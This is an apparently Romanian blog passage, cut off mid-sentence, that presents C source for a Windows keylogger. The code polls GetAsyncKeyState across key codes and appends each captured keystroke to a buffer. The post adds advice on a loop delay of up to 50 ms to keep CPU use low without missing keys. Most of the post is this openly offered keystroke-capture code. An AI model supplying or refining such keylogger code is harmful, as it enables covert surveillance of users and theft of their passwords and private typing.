Etichetă: keylogger c

Keylogger C

This article has been written before more than 24months, information might old.

Metoda cu GetAsyncKeyState , o metoda mai simpla dar care consuma mult mai multe resurse . Se poate reduce dramatic din consumul resurselor daca folosim o mica intarziere in loop , dar daca intarzierea e prea mare exista evident sansa sa inregistram mai putin decat trebuie . De regula o intarziere de maxim 50 milisecunde face imposibil asa ceva si scade consumul de proc de pe la 40% la 1% .

Functia :

void keylog(char *ptrKeyBuffer){
 for(int i=8;i<=190;i++){
 if (GetAsyncKeyState(i) == -32767){ // IS_PRESSED ?
 if(i == 0x0D){ // [-EnTer-]
 strcat(ptrKeyBuffer,"[-Enter-]");
 } // IF
 else if(i == 0x20){ // [-SpAce-]
 strcat(ptrKeyBuffer," ");
 }// Else IF
 else if(i == 0x1B){ // [-EsCaPe-]
 strcat(ptrKeyBuffer,"[-EsCaPe-]");
 }// Else IF
 else if(i == 0x08){ // [-BackSpace-]
 strcat(ptrKeyBuffer,"[-BackSpace-]");
 }// Else IF
 else if(i>=65&&i<=90){
 if(GetAsyncKeyState(0x14) || GetAsyncKeyState(0x10) ){
 char TempBuffer[2];sprintf(TempBuffer, "%c", (i));
 strcat(ptrKeyBuffer,TempBuffer);
 }// IF
 else{
 char TempBuffer[2];sprintf(TempBuffer, "%c", (i+32));
 strcat(ptrKeyBuffer,TempBuffer);
 } // Else
 } // Else IF
 } // IF
 } // FOR
 } // FUNC

Dupa cum se vede la identificarea tastelor am …